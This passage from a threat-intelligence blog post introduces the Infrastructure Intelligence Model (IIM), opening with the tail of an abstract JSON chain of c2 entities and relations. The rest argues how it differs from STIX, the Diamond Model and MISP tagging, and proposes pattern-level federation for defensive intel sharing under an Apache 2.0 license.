    {
      "entity_id": "e9",
      "role": "c2",
      "techniques": []
    },
    {
      "entity_id": "e10",
      "role": "c2",
      "techniques": []
    }
  ],
  "relations": [
    {
      "from": "e1",
      "to": "e2",
      "type": "references",
      "sequence_order": 1
    },
    {
      "from": "e2",
      "to": "e3",
      "type": "drops",
      "sequence_order": 2
    },
    {
      "from": "e3",
      "to": "e4",
      "type": "resolves-to",
      "sequence_order": 3
    },
    {
      "from": "e4",
      "to": "e5",
      "type": "drops",
      "sequence_order": 4
    },
    {
      "from": "e5",
      "to": "e6",
      "type": "connect",
      "sequence_order": 5
    },
    {
      "from": "e5",
      "to": "e7",
      "type": "connect",
      "sequence_order": 6
    },
    {
      "from": "e5",
      "to": "e9",
      "type": "connect",
      "sequence_order": 7
    },
    {
      "from": "e8",
      "to": "e9",
      "type": "resolves-to",
      "sequence_order": 8
    },
    {
      "from": "e6",
      "to": "e10",
      "type": "resolves-to",
      "sequence_order": 9
    }
  ],
  "confidence": "confirmed",
  "observed_at": "2025-11-22T00:00:00Z"
}

“But isn’t this just STIX?”

No. And this is the section where I save you the GitHub issue.

STIX 2.1 is an exchange format. It defines objects (indicators, infrastructure, attack-patterns, relationships) and lets you serialize them into bundles you can ship between tools. STIX is excellent at what it does. It’s also explicitly not a model of how an operation is structured.

The STIX Infrastructure SDO has a name, a description, an infrastructure_types tag and some first/last seen timestamps.
That’s it.
No notion of a position in a chain. No notion of “this redirector comes after that entry point.” No notion of techniques attached to a specific role. STIX relationships connect any two objects with a flat verb uses, consists-of, related-to and any ordering or semantic position has to be expressed in free text or vendor-specific extensions, which means in practice it isn’t expressed at all.

IIM exports to STIX losslessly. A chain becomes a bundle of Infrastructure objects with x_iim_* custom properties, plus relationships, plus attack-patterns for the techniques.
The reverse direction, STIX to IIM, is an enrichment workflow, not a conversion, because STIX doesn’t carry the information IIM needs and we shouldn’t pretend it does.
Anything inferred on import gets marked tentative and needs_review: true. No silent upgrades.

Diamond Model has four vertices: adversary, capability, infrastructure, victim. “Infrastructure” is one vertex. One. The whole thing collapses into a single bucket.
Diamond is a fine high-level analytical model, but if you try to express how the infrastructure was actually composed in a Diamond representation, you end up writing a paragraph in a notes field. IIM is what happens when you zoom into the infrastructure vertex and give it real structure.

MISP and OpenCTI taxonomies let you tag an IP as c2 or a domain as redirector.
That’s helpful and IIMs role catalog is partially aligned with those tags on purpose. But tagging is flat. You can tag a thousand IPs as C2 and never express that twelve of them rotate through the same dead-drop resolver while the rest don’t.
Tags describe artifacts.
IIM describes operations.

ATT&CK I already covered. Different axis. Same campaign, different facets. Use both.

The principle I stuck to throughout: don’t replace mature standards, fill the gap they don’t cover.
Composability over reinvention.
There’s enough threat intel work to do without forcing everyone to migrate off STIX again.

Why this matters

Here’s the operational case for caring about any of this.

If you’re a defender and you treat every rotation as a new event, you will spend the rest of your career re-blocking the same operation. You will write the same incident report seven times. Your detection coverage will look like a list of last weeks domains, because that’s exactly what it will be.

If you have a structural model, you can ask different questions. Have we seen this shape before? Does the new infrastructure cluster with the previous campaign at the pattern level? Are the same operators behind it, even though every artifact is new? These are the questions that actually matter when the artifacts are gone within hours.

IIM is not the only way to ask those questions. But it’s a way to ask them in a vocabulary that’s the same on Tuesday as it was on Monday and that lets you compare your observations to mine without us having to first agree on what the words mean.

Federation or: why this actually scales

Here’s the part nobody talks about until it’s been built: the actually interesting property of a structural model is what happens when more than one person uses it.

Threat intel sharing today is broken in a very specific way. We share IOCs through MISP, ISACs, vendor feeds and mailing lists. The IOCs are stale by the time they arrive. When we try to share something more durable, TTPs, actor profiles, narrative reports, the format is a PDF.
PDFs do not match against telemetry. Your SOC analyst opens the PDF, ctrl-Fs for “domain,” and copies the obviously-already-burned indicators into a watchlist. We are still doing this in 2026.

What an IIM federation enables, in one sentence: share patterns instead of indicators and the patterns are still good after the rotation.

Concretely. Org A observes a campaign, builds an IIM chain, abstracts it to a pattern (entities stripped, structure preserved) and publishes it. Org B receives the pattern and matches it against their own observations. Org B might be sitting on completely different domains, different IPs, different hashes and still get a hit, because the shape of the operation matches. The same operators with new clothes.
Pattern-level matching survives rotation by definition.

A few things follow from this:

Sharing scales because patterns don’t expire. A pattern published in March is still useful in November, because the structural fingerprint is what the actors are bad at changing. Their hosting provider rotates daily. Their composition logic rotates roughly never. Once you have ten or twenty good patterns for a group, you can attribute new infrastructure to them within minutes of seeing it, regardless of whether any of the indicators have ever been seen before.

Privacy gets easier, not harder. Patterns have no entities. There are no victim domains, no internal IPs, no attributable hostnames. This bypasses an enormous fraction of the “we can’t share because legal” friction that kills useful TI exchange today. Particularly relevant under GDPR, where IOC sharing involving any kind of victim-identifying data is a pain.
At the end it’s your decision if you share your full chain or just a pattern, both have their worth.
Patterns are PII-free by construction.

Attribution becomes contestable. Right now actor attribution is a process that still requires a lot of manual aggregation and verification. With pattern-level federation, you can publish the patterns you used to cluster and someone else can argue with the clustering. This is how science works.

The network effect actually kicks in. Every additional participant in an IIM federation increases the match rate for everyone else, because the same actor groups hit multiple targets. With IOC sharing, the network effect is muted because IOCs burn fast. With pattern sharing, the network effect compounds.

No central authority required. A federation is not hub-and-spoke. There’s no need for a central database, no single point of failure. Every participant publishes their own patterns from their own infrastructure, signed and timestamped. You consume the patterns from the participants you trust. This is structurally different from how most TI sharing currently works and structurally important if you take sovereignty seriously.

The federation layer is what makes the model worth more than the sum of its installations.
A single org running IIM in isolation gets some structural benefits.
A hundred orgs running IIM with shared patterns gets the actual prize: a defensive intelligence ecosystem that doesn’t rot every Tuesday.

Joining a federation is roughly as hard as validating a JSON file: no central registry to negotiate with, no shared infrastructure to maintain, no legal review of victim data because patterns have none and no vendor sitting between you and the people you actually want to share with.

What’s actually built

IIM v1.1 is published as a draft. Spec, JSON schema, technique catalog, reference chains and bidirectional STIX 2.1 tooling are all on GitHub. Composes with the standards you already use; doesn’t try to replace them.

There’s also a Workbench: a local and web tool for building, validating and exporting IIM chains. Runs on your machine, doesn’t phone home, ships with the technique catalog baked in. Use it to model a campaign you’re working on, sketch a pattern for sharing or just play with the model to see if it makes sense.

If a technique you need isn’t in the catalog, open an issue. If a role definition is wrong, even better, open an issue with a specific case it doesn’t handle.
The model is a draft for a reason. I’d rather get it right than get it done fast.

Open core, closed lab

IIM is one piece of Malwarebox, an independent CTI research initiative I’m building in Europe, publishing open frameworks and methodologies for a corner of threat intelligence that doesn’t really have an open ecosystem yet.

The model is roughly open core, with one important inversion.
The frameworks IIM, ACDP, the schemas, the catalogs, the reference implementations are open. They have to be.
You can’t ask the community to standardize around something they can’t review.

The closed part is Kraken, the working environment behind the research, the platform where adversary infrastructure is actually tracked as a living graph. Kraken stays closed for now and access goes through vetting. Not because closed tooling is the goal, but because some research needs to mature somewhere private before it shapes the public frameworks. Open frameworks need a place where mistakes are cheap.
Kraken is that place.

Why bother with any of this?
Two reasons.

First: civilian threat intelligence research in Europe is structurally underfunded compared to the US, where commercial vendors and government programs subsidize a lot of public work.
We’ve been importing that work for a decade. It worked, mostly.
It has also shaped what European defenders can see and what they can’t and it has made independent research a hobby rather than a profession on this side of the Atlantic.
Open frameworks are one small lever for changing that, they give independent researchers a vocabulary and a publication target that doesn’t require a vendors marketing approval.

Second: a real European CTI federation doesn’t exist yet.
There are bilateral exchanges, sectoral ISACs, vendor-mediated feeds, EU-level initiatives.
None of them constitute a federation in the sense the previous section described.
Building one isn’t a tooling problem.
It’s a structural problem, a trust problem, a vocabulary problem and a sovereignty problem.
IIM is the vocabulary piece. ACDP is the methodology piece. Kraken is the working environment that puts them through their paces.
Together they’re an attempt to be a foundation 🙂

Next

Part four will cover IIMQL the query language that sits on top of IIM.
Once you have a structural model, the next obvious question is “okay, but how do I actually search through thousands of these chains for the patterns I care about.”
That’s what IIMQL is for and it’s where things get more interesting.

Part five will be the partial Malwarebox ecosystem write-up Kraken, IIM/IIMQL, ACDP and how the loop between them is supposed to work in practice.
With a slightly heavier emphasis on the “why this is built in Europe and stays in Europe” argument, because that one deserves its own piece.
All these components are just part of what I’ve actually built and a fraction of what’s planned :3

For now: read the spec, try the workbench, break the model, tell me what’s wrong with it.
You’ll find more real-world examples in the IIM repository soon.

If you want to contact me for feedback or anything else, you can reach me via contact@robin-dost.de

License

IIM is published under the Apache License 2.0.

The reason is simple: IIM is meant to be used.

It should be possible for researchers, vendors, public-sector teams, open-source projects, internal SOC platforms, detection pipelines and threat intelligence tools to adopt the model without asking for permission first.

Apache 2.0 allows free use, modification, distribution and integration, including in commercial products, while still preserving attribution and providing a clear patent grant. That makes it a practical license for an infrastructure intelligence model that is supposed to become interoperable, not decorative.

In short:

You can use it.
You can build on it.
You can integrate it into your own tooling.
You can ship products with it.

Just keep the license notice and attribution intact.

That is the point.


Resources

Malwareboxhttps://malwarebox.eu
IIMhttps://iim.malwarebox.eu
IIM Specification v1.1GitHub
Technique CatalogGitHub
IIM Workbenchhttps://workbench.iim.malwarebox.eu / https://github.com/MalwareboxEU/IIM-Workbench